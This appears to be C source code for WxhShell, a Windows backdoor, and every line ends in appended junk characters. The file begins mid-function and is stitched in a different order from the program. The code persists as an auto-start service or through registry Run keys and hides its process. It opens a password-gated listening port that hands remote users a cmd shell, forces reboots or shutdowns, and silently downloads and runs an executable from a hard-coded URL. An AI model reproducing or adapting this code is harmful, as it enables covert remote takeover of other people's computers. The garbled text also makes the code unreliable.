    if(Boot(SHUTDOWN)) %cFqD &6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "jMSF@lr  
    else { M7g6m  
    closesocket(wsh); "YePd * W  
    ExitThread(0); s'yT}XQ;r  
    } "$rmy>d  
    break; 4vbtB2  
    } `hE@S |4  
  // 获取shell = & =#G3f  
  case 's': { 4<Q^/-W  
    CmdShell(wsh); LyWgaf#/d  
    closesocket(wsh); BEnIyVU;L  
    ExitThread(0); s2ixiv=  
    break; <maY S2  
  } 2u?k;"]V  
  // 退出 kcN#g- 0  
  case 'x': { j$jgEtPK9=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (nLT 8{>0  
    CloseIt(wsh); Y$&+2w,)H,  
    break; yV/A%y-P  
    } t1MK5B5jH  
  // 离开 z}&JapJ  
  case 'q': { KR sY `[Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o"-*,:Qe  
    closesocket(wsh); &yN/ AY`U  
    WSACleanup(); -N~eb^3[c  
    exit(1); .`Rju|l  
    break; 8-cCWo c  
        } +Ssu^ >D  
  } N!iugGL  
  } @_4E^KgF  
X4{O/G  
  // 提示信息 Qq*Ks 5   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .T|1l$Jn  
} LOf)D7T  
  } bIP%xl Vp  
>4&s7][Q|  
  return; ^I]A@YNni  
} 052e zh_  
C6ry]R@  
// shell模块句柄 gyf9D]W  
int CmdShell(SOCKET sock) B(B77SOb  
{ w:+wx/\  
STARTUPINFO si; cH>3|B*y  
ZeroMemory(&si,sizeof(si)); T(2*P5%&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nkii0YB!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LZF %bJv  
PROCESS_INFORMATION ProcessInfo; 9~ JeI/  
char cmdline[]="cmd"; t`oH7)nut  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ])3(@.  
  return 0; ywj'S7~A  
} tVFydN~  
.&2Nm&y$ K  
// 自身启动模式 h}SP`  
int StartFromService(void) NGq@x%T  
{ (dgBI}Za  
typedef struct tX@G`Mr(  
{ 6Ud6F t6  
  DWORD ExitStatus; Q$XNs%7w5,  
  DWORD PebBaseAddress; u-%|ZSg  
  DWORD AffinityMask; +\/1V`  
  DWORD BasePriority; [oS4W P  
  ULONG UniqueProcessId; q-|j =  
  ULONG InheritedFromUniqueProcessId; i4s_:%+  
}   PROCESS_BASIC_INFORMATION;  ; V)jC  
2?)8s"Y  
PROCNTQSIP NtQueryInformationProcess; aTU[H~dTU  
"f|xIK`c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fjP(r+[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; & @rXt!  
8o%g2 P9.  
  HANDLE             hProcess; kX)QHNzP  
  PROCESS_BASIC_INFORMATION pbi; X4I+  
H&_drxUq;L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Iy8fN"I9D  
  if(NULL == hInst ) return 0; ]21`x  
@/f'i9?oM`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -~=?g9fGm6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #_?m.~`g[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6haw\ *  
rJ=r_v  
  if (!NtQueryInformationProcess) return 0; $rV4JROb  
tRu j}n+x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rJKac"{  
  if(!hProcess) return 0; UVlh7wjg  
e]DuV)k&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ] =*G[  
6tZ ak1=V  
  CloseHandle(hProcess); J5"d|i  
,`,1s 9\&t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Hn sPXF'8g  
if(hProcess==NULL) return 0; me  ,lE-  
=Vat2'>+  
HMODULE hMod; ^Gwpx +  
char procName[255]; E/@  
unsigned long cbNeeded; F!7\Za,  
E]dc4US  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;q&uk -  
w:nLm,  
  CloseHandle(hProcess); u2 t=*<X  
31 &;3?3>  
if(strstr(procName,"services")) return 1; // 以服务启动 UZRN4tru6  
A{%LL r:  
  return 0; // 注册表启动 zGaqYbQD  
} ?*L{xNC#  
>UnLq:G  
// 主模块 a3J' c  
int StartWxhshell(LPSTR lpCmdLine) p1!-|Sqq  
{ eZ8DW6l*  
  SOCKET wsl; rH$M6S  
BOOL val=TRUE; }fZ~HqS2w  
  int port=0; 0iI|eE o  
  struct sockaddr_in door; &fe67#0r)  
aIo%~w  
  if(wscfg.ws_autoins) Install(); Go)}%[@w  
6Z<|L^  
port=atoi(lpCmdLine); }6"l`$=Ev  
4w#:?Y _\[  
if(port<=0) port=wscfg.ws_port; kgP6'`}E[  
sL], @z8<k  
  WSADATA data; s1bb2R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m+QZ|  
s0m k<>z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,wZq ~; 2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5}TTf2&Xo#  
  door.sin_family = AF_INET; 1h3`y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !.{"Ttn;s  
  door.sin_port = htons(port); MDCwgNPiQW  
zmFS]IOv$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A [_T~+-G  
closesocket(wsl); v;#0h7qd  
return 1; C:.>*;?7  
} J"K(nKXO_?  
v >cPr(  
  if(listen(wsl,2) == INVALID_SOCKET) { qNWSDZQ  
closesocket(wsl); N<XMSt  
return 1; G^:?)WRG  
} #giH`|#d  
  Wxhshell(wsl); U#`2~Qv/1  
  WSACleanup(); VNwOD-b/]  
`SQobH  
return 0; l[^0Ik-G  
KG GJ\r6  
} aH\A  
piFZu/~Gq\  
// 以NT服务方式启动 :OV6R ,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O*yA50Cn  
{ n7.85p@ua  
DWORD   status = 0; ~Rw][Ys  
  DWORD   specificError = 0xfffffff; \46*4?pP  
W4(GI]`_+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EFv^uve  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tB VtIOm9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h-\Ov{~  
  serviceStatus.dwWin32ExitCode     = 0; t/@t_6m}*  
  serviceStatus.dwServiceSpecificExitCode = 0; K5F;/ KR"  
  serviceStatus.dwCheckPoint       = 0; <{i1/"k?X  
  serviceStatus.dwWaitHint       = 0; % CQv&d2  
>J#/IjCW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rDGrq9  
  if (hServiceStatusHandle==0) return; :i|Bz6Ht4  
hFnUw2 6P  
status = GetLastError(); VO~%O.>  
  if (status!=NO_ERROR) N*+WGsxl$z  
{ S~)_=4Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yb,$UT"]  
    serviceStatus.dwCheckPoint       = 0; sQ+s3x1y  
    serviceStatus.dwWaitHint       = 0; -/Zy{2 <u  
    serviceStatus.dwWin32ExitCode     = status; &?5me:aU  
    serviceStatus.dwServiceSpecificExitCode = specificError; cPkP/3I]h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (\nEU! Y  
    return; l| y.6v  
  } ~[=d{M!$W  
= ?BhtW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yCuLo`  
  serviceStatus.dwCheckPoint       = 0; f4VdH#eng`  
  serviceStatus.dwWaitHint       = 0; P=7X+}@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); % bKy  
} lbPn<  
+VL:O]`DJ  
// 处理NT服务事件,比如:启动、停止 }2S)CL=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >v f-,B  
{ DK20}&RQ  
switch(fdwControl) CR;E*I${  
{ E)wf'x  
case SERVICE_CONTROL_STOP: 85$ WH  
  serviceStatus.dwWin32ExitCode = 0; JJ'f\f9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bjI3xAs~  
  serviceStatus.dwCheckPoint   = 0; M+%qVwp  
  serviceStatus.dwWaitHint     = 0; &PMfAo^  
  { )2#q i/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E~VV19Bv]/  
  } X&i;WI  
  return; Db  !8N  
case SERVICE_CONTROL_PAUSE:  Frz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R0mkEM  
  break; YV} "#  
case SERVICE_CONTROL_CONTINUE: (F9e.QyWb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UZ "!lpg  
  break; w'XN<RWA  
case SERVICE_CONTROL_INTERROGATE: L=fy!R  
  break; 5<Uh2c  
}; HXC\``E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pvb&vtp  
} (nXnP{yb  
< Wp)Y  
// 标准应用程序主函数 E " >`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sKJr34  
{ 9%53 _nx?  
+H *6:  
// 获取操作系统版本 gsUF\4A(J  
OsIsNt=GetOsVer(); Ab>Kfr#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wwQ2\2w>Hm  
[h !i{QD  
  // 从命令行安装 q'4P/2)va  
  if(strpbrk(lpCmdLine,"iI")) Install(); (y~%6o6  
d R=0K  
  // 下载执行文件 T>7N "C  
if(wscfg.ws_downexe) { }0Uh<v@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `9gV8u  
  WinExec(wscfg.ws_filenam,SW_HIDE); _0FMwC#DY  
} [\Nmm4  
mBb3Ta  
if(!OsIsNt) { H9i7y,[*  
// 如果时win9x,隐藏进程并且设置为注册表启动 {MyI3mvA  
HideProc(); VBS}2>p  
StartWxhshell(lpCmdLine); `#wEa'v6  
} <SQR";  
else ULBEe@ s  
  if(StartFromService()) /U0Hk>$~(  
  // 以服务方式启动 JbJ!,86  
  StartServiceCtrlDispatcher(DispatchTable); u[PG/ploc  
else @YQ*a4`  
  // 普通方式启动 TJZ/lJU  
  StartWxhshell(lpCmdLine); mpCu,l+lo  
*OdmKVw6G  
return 0; %<+uJ'pj  
} 4nP4F +  
4b((,u$  
C.":2F;-e  
_| cSXZ|  
=========================================== { dh,sbl  
tm1&OY  
'q_Z dw%  
_9H]:]1QH  
HRrR"b9:  
q }>3NCh  
" JZ![:$:  
::'Y07  
#include <stdio.h> maY.Z<lN  
#include <string.h> Yy 0" G  
#include <windows.h> K(lSR  
#include <winsock2.h> 4c{j9mh  
#include <winsvc.h> A+foc5B  
#include <urlmon.h> %4F\#" A  
Y?7GFkIP$  
#pragma comment (lib, "Ws2_32.lib") 'J-a2oiM(  
#pragma comment (lib, "urlmon.lib") Mzg P@tB  
rNo/H<J%+j  
#define MAX_USER   100 // 最大客户端连接数 %72(gR2Wa2  
#define BUF_SOCK   200 // sock buffer \'[tfSB  
#define KEY_BUFF   255 // 输入 buffer y!}XlllV  
>i  >|]  
#define REBOOT     0   // 重启 FXn98UFY  
#define SHUTDOWN   1   // 关机 O9_1a=M  
QdcuV\B}  
#define DEF_PORT   5000 // 监听端口 b=\chCRJJ  
>`a^E1)  
#define REG_LEN     16   // 注册表键长度 rC!"<  
#define SVC_LEN     80   // NT服务名长度 yocFdI  
CueC![pj  
// 从dll定义API U{Oo@ztT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dI%ho<zm]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !X$19"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [q3zs_nz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .I_<\h7  
]Q0bL  
// wxhshell配置信息 AkW>*x  
struct WSCFG { 1W\wIj.  
  int ws_port;         // 监听端口 bHx@   
  char ws_passstr[REG_LEN]; // 口令 EirZ}fDJzB  
  int ws_autoins;       // 安装标记, 1=yes 0=no W^xO/xu1 /  
  char ws_regname[REG_LEN]; // 注册表键名 %`T}%B  
  char ws_svcname[REG_LEN]; // 服务名 k+?gWZ \  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;L-)$Dy4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XMkRYI1~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +^esL9RG:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pU !:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [a!AK kj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ( >ze{T|  
(7b9irL&cn  
}; F:P2:s<d-  
BgUp~zdo  
// default Wxhshell configuration X"q[rsB  
struct WSCFG wscfg={DEF_PORT, w}OBp^V^  
    "xuhuanlingzhe", Dqc GzTz  
    1, R-NM ~gp  
    "Wxhshell", +"BJjxG  
    "Wxhshell", B|"i`{>  
            "WxhShell Service", ;ZAwf0~  
    "Wrsky Windows CmdShell Service", =fnBE`Uc  
    "Please Input Your Password: ", b=2:\F  
  1, C,eP!_O  
  "http://www.wrsky.com/wxhshell.exe", + jwk4BU  
  "Wxhshell.exe" ] L#c <0  
    }; - QY<o|  
xxl|j$m  
// 消息定义模块 ]*mUc`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0KgP'oWvY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9U.Ctx:F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6=$<R4B  
char *msg_ws_ext="\n\rExit."; ,C><n kx  
char *msg_ws_end="\n\rQuit."; Xy K,  
char *msg_ws_boot="\n\rReboot..."; u=v-,Tw  
char *msg_ws_poff="\n\rShutdown..."; 9m2FH~  
char *msg_ws_down="\n\rSave to "; nM.g8d K  
C^4,L \E  
char *msg_ws_err="\n\rErr!"; U*Y]cohh  
char *msg_ws_ok="\n\rOK!"; PpG;5  
GeY!f/yQ<  
char ExeFile[MAX_PATH]; _^(1Qb[  
int nUser = 0; X,3\c:  
HANDLE handles[MAX_USER]; bK0(c1*a[e  
int OsIsNt; @SxZ>|r-|v  
wS9V@  
SERVICE_STATUS       serviceStatus; IaSPwsvt'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XPMUhozV  
Q0jg(=9wP  
// 函数声明 X=m^+%iD  
int Install(void); H^S<bZ  
int Uninstall(void); _wb]tE ~g  
int DownloadFile(char *sURL, SOCKET wsh); W&9 qgbO]  
int Boot(int flag); ><"|>(y  
void HideProc(void); 0vSPeZ  
int GetOsVer(void); }MMKOr(  
int Wxhshell(SOCKET wsl); L(Twclrb  
void TalkWithClient(void *cs); L7(FD v,?  
int CmdShell(SOCKET sock); y_n4Y[4g  
int StartFromService(void); rBQ<5.  
int StartWxhshell(LPSTR lpCmdLine); (Ytr&gh;0  
@#W4?L*D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EU:N9oT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }UGSE2^1  
,ps?@lD  
// 数据结构和表定义 'do2n/  
SERVICE_TABLE_ENTRY DispatchTable[] = Z>y6[o  
{ 9<3}zwJ  
{wscfg.ws_svcname, NTServiceMain}, 4V,p\$;  
{NULL, NULL} )ADI[+KW  
}; mUP!jTF  
U.~G{H`G,u  
// 自我安装 K7JZUS`C!  
int Install(void) ]C"?xy  
{ |gxPuAXa)  
  char svExeFile[MAX_PATH]; %$o[,13=  
  HKEY key; Oj%5FUP~[%  
  strcpy(svExeFile,ExeFile); 9fbbJ"I+  
QwG_-  
// 如果是win9x系统,修改注册表设为自启动 S`  U,  
if(!OsIsNt) { -UidU+ES;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (:E@kpK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /]J\/Z>  
  RegCloseKey(key); [6g$;SicT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t`hes $E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W(ryL_#;  
  RegCloseKey(key); PPG+~.7  
  return 0; }L|B@fW  
    } yId1J  
  } Y$,~"$su|  
} s1[.L~;J  
else {  ^ b5+A6?  
q!U$\Q&  
// 如果是NT以上系统,安装为系统服务 29Gel  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ->;2CcpHB  
if (schSCManager!=0) H-e$~vEbP  
{ 7;TMxO=bra  
  SC_HANDLE schService = CreateService vmNI$ KZM  
  ( JBc*m  
  schSCManager, B<.\^f uS  
  wscfg.ws_svcname, eF7I 5k4  
  wscfg.ws_svcdisp, fH9"sBiO  
  SERVICE_ALL_ACCESS, [8Z#HjhQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SzeY?04zj:  
  SERVICE_AUTO_START, MK Sw  
  SERVICE_ERROR_NORMAL, vY.VFEP/  
  svExeFile, 9vDOSwU*  
  NULL,  ydY( *]  
  NULL, HWFTI /]  
  NULL, 6/g 82kqpk  
  NULL, 54WX#/<Yik  
  NULL 2)$-L'YS  
  ); *6u2c%^  
  if (schService!=0) 6Xo"?f  
  { PvW4%A@0  
  CloseServiceHandle(schService); g<^A(zM  
  CloseServiceHandle(schSCManager); zNo"P[J8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T)q Uf H  
  strcat(svExeFile,wscfg.ws_svcname); ,1CmB@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !^NZp%Yd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1VG]|6f  
  RegCloseKey(key); v/~&n  
  return 0; m&q0 _nay  
    } 2Rwd\e.z  
  } {/5aF_0D.  
  CloseServiceHandle(schSCManager); E&t8nlTx  
} EAWBgOO8iC  
} sEfT#$ a^8  
O+< +yQl  
return 1; csJ)Pt?d  
} sL\ {.ad5  
s7:_!Nd@8  
// 自我卸载 If&y 5C  
int Uninstall(void) 87S,6Y  
{ [x=(:soEqC  
  HKEY key; 5f0g7w =-  
aYc<C$:NC"  
if(!OsIsNt) { t3^`:T\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R@Gll60  
  RegDeleteValue(key,wscfg.ws_regname); B2LXF3#/  
  RegCloseKey(key); V)5,E>;EN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a[rb-Z  
  RegDeleteValue(key,wscfg.ws_regname); 8vR'<_>Q  
  RegCloseKey(key); N|"kuRN#  
  return 0; X6w+L?A  
  } H)&iFq  
} sy4Nm0m  
} `YZl2c<w*  
else { G8?Do+[  
c`S+>:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &dni6E4  
if (schSCManager!=0) 2Ir*}s2{  
{ !5[SNr3^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #bG6+"g{=L  
  if (schService!=0) #k>A,  
  { [,ulz4"  
  if(DeleteService(schService)!=0) { fiU#\%uJg  
  CloseServiceHandle(schService); cAVdH{$"  
  CloseServiceHandle(schSCManager); b"trg {e  
  return 0; )~nieQEZQ  
  } NZ!I >  
  CloseServiceHandle(schService); p__N6a  
  } eMV8`&c'  
  CloseServiceHandle(schSCManager); H~Uy/22aQy  
} `e3$jy@  
} y[AB,Dd  
SH8zkAA7u}  
return 1; X+,0;% p  
} $XkO\6kh  
i tk/1  
// 从指定url下载文件 |:2B)X  
int DownloadFile(char *sURL, SOCKET wsh) 4qsxlN>4O  
{ c1y+k vv  
  HRESULT hr; {t|#>UCK  
char seps[]= "/"; _]D 6m2R  
char *token; iG~&uEAJ  
char *file; yUxz,36wZ  
char myURL[MAX_PATH]; YvP62c \  
char myFILE[MAX_PATH]; aiE\r/k8s  
LH`2Y,E  
strcpy(myURL,sURL); :mf&,?  
  token=strtok(myURL,seps); alNn(0MG  
  while(token!=NULL) O?A%  
  { IQ-l%x[fue  
    file=token; A+4Kj~`!  
  token=strtok(NULL,seps); {7%HK2='  
  } b9-3  
5e7\tBab  
GetCurrentDirectory(MAX_PATH,myFILE); zh\"sxL  
strcat(myFILE, "\\"); FDGG$z?>m  
strcat(myFILE, file); +$2`"%nBG  
  send(wsh,myFILE,strlen(myFILE),0); y; <}`  
send(wsh,"...",3,0);  P7/Xh3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EQ :>]O  
  if(hr==S_OK) |68/FJZ,5  
return 0; u3wd~.  
else &uBf sa$  
return 1; u5KAwMw%Q  
q 6>}  
} 8ZCA vEy  
ZZCm438  
// 系统电源模块 d'3"A"9R7-  
int Boot(int flag) ;<GxonIV  
{ 7-u'x[=m  
  HANDLE hToken; ! R3P@,j  
  TOKEN_PRIVILEGES tkp; ssoE,6kS  
U^U hZ!  
  if(OsIsNt) { se=^K#o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BD86t[${W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); koD}o^U#  
    tkp.PrivilegeCount = 1; =20 +(<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [cl+AV "  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ip)u6We>I  
if(flag==REBOOT) { Yw5-:w0f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N`N?1!fM<}  
  return 0; :$PrlE  
} +o"CMI  
else { "5sA&^_#_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }Ya! [tX  
  return 0; uZ>q$ F  
} %f1IV(3Qc  
  } D<<q5gG  
  else { O/d]2<V  
if(flag==REBOOT) { LEOa=(mN\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7y)Ar 8!D  
  return 0; qfxEo76'  
} M7 k WJ  
else { z5Tsu1 c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w9O!L9 6  
  return 0; Q7<VuXy  
} O|^J;fS:  
} Cg`lQY U  
RO%M9LISI  
return 1; %.l={B,i  
} .]JIo&>5  
c=9A d  
// win9x进程隐藏模块 Z2H bAI8  
void HideProc(void) g;nLR<]  
{ a l6y=;\jZ  
re}PpXRC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5;^1Ab0  
  if ( hKernel != NULL ) V3r)u\ o'  
  { ED" fi$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -"i $^Q`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i^ |G  
    FreeLibrary(hKernel); T]zD+/=  
  } KZVdW@DY  
M6^ \LtFt  
return; 2/uZ2N |S  
} Th*}U&  
z\" .(fIV  
// 获取操作系统版本 .>.GQUr  
int GetOsVer(void) CV\y60n  
{ 1TR+p? "  
  OSVERSIONINFO winfo; Ak kF6d+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Yg,b ;H  
  GetVersionEx(&winfo); 7wPI)]$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _od /)#  
  return 1; -o`K/f}d  
  else vR2);ywX  
  return 0; Iz. h  
} q9j~|GE|  
xU0iz{9  
// 客户端句柄模块 I2*(v%.-  
int Wxhshell(SOCKET wsl) Haekr*1%  
{ 5p S$rf  
  SOCKET wsh; F8{gJaP x  
  struct sockaddr_in client; |)Dm.)/0)  
  DWORD myID; /Wjc\n$'  
K\XQ E50  
  while(nUser<MAX_USER) h-;> v.  
{ Qj_)^3`e  
  int nSize=sizeof(client); &|ne!wu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0Ui_Trlc  
  if(wsh==INVALID_SOCKET) return 1; jQ%1lQ#R)  
&oB*gGRw=7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U:n~S  
if(handles[nUser]==0) M:%g)FgW  
  closesocket(wsh); vo\'ycPv  
else -Pt E+R[A  
  nUser++; ht]n*  
  } 24? _k]Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7z1@XO<D  
A^X\  
  return 0; 0=6mb]VUi=  
} LTo!DUi`  
5YNAb/! !F  
// 关闭 socket GQY" +xa8]  
void CloseIt(SOCKET wsh) JmK )Y# A  
{ #<9'{i3  
closesocket(wsh); ]w;t0Bk  
nUser--; kwT)j(pp<  
ExitThread(0); (Z?f eUxp  
} Ua 6O~,\  
e.DN,rhqI  
// 客户端请求句柄 H+Bon=$cE!  
void TalkWithClient(void *cs) 1R~$m  
{ V'W*'wo   
sfw* _}y  
  SOCKET wsh=(SOCKET)cs; IO"P /Q  
  char pwd[SVC_LEN]; OhCdBO  
  char cmd[KEY_BUFF]; 2ns,q0I A  
char chr[1]; XdV>6<gf{  
int i,j; *v K~t|z  
^$O(oE(D  
  while (nUser < MAX_USER) { jFe8s@7  
$A{$$8P  
if(wscfg.ws_passstr) { PDA9.b<q0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (n?f016*%d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ';Nc;9  
  //ZeroMemory(pwd,KEY_BUFF); 27c0wzq  
      i=0; Kn5C  
  while(i<SVC_LEN) { FO^6c  
%pOz%v~  
  // 设置超时 IO8 @u;&  
  fd_set FdRead; 9ETdO,L)f  
  struct timeval TimeOut; GiuE\J9i  
  FD_ZERO(&FdRead); Hkia&nz'3  
  FD_SET(wsh,&FdRead); #'%ii,;w Q  
  TimeOut.tv_sec=8; >m1b/J3#  
  TimeOut.tv_usec=0; t/O^7)%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <>n|_6'$90  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |z_Dw$-xm  
oowofi(E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p7`9 d1n  
  pwd=chr[0]; z$%8'  
  if(chr[0]==0xd || chr[0]==0xa) { 6-"tQ,AZ  
  pwd=0; =#9#unvE!  
  break; PZV>A!7C8n  
  } _^b\#Jz4U3  
  i++; I$+=Fb'N0  
    } ]Bf1p  
k&t.(r\  
  // 如果是非法用户,关闭 socket C/N;4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^J7q,tvbJ  
} (&Q!5{$W  
jmq^98jB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }\8-&VoY#X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b1IAp>*2l  
By7lSbj  
while(1) { ~s'}_5;VY  
ojBdUG\  
  ZeroMemory(cmd,KEY_BUFF); >T [Y>]  
~YW;'  
      // 自动支持客户端 telnet标准   JLWm9c+UTG  
  j=0; ^u$=<66  
  while(j<KEY_BUFF) { wV f 7<@/y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); + XBF,<P  
  cmd[j]=chr[0]; I(BJ1 8F$  
  if(chr[0]==0xa || chr[0]==0xd) { Fng  
  cmd[j]=0; lbovwj  
  break; S m=ln)G=  
  } Ofoh4BL'1@  
  j++; vYXhWqL~  
    } V!]|u ^4I  
b+whZtNk7  
  // 下载文件 o?M;f\Fy  
  if(strstr(cmd,"http://")) { /[>_Ry,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \oxf_4X  
  if(DownloadFile(cmd,wsh)) R1Rk00Ow:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f&5S`}C  
  else V[WZ#u-p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5GJkvZtFY  
  } pl,XS6mB  
  else {  n9&fH  
9&^5!R8  
    switch(cmd[0]) { 7],y(:[=v  
  G2!<C-T{2  
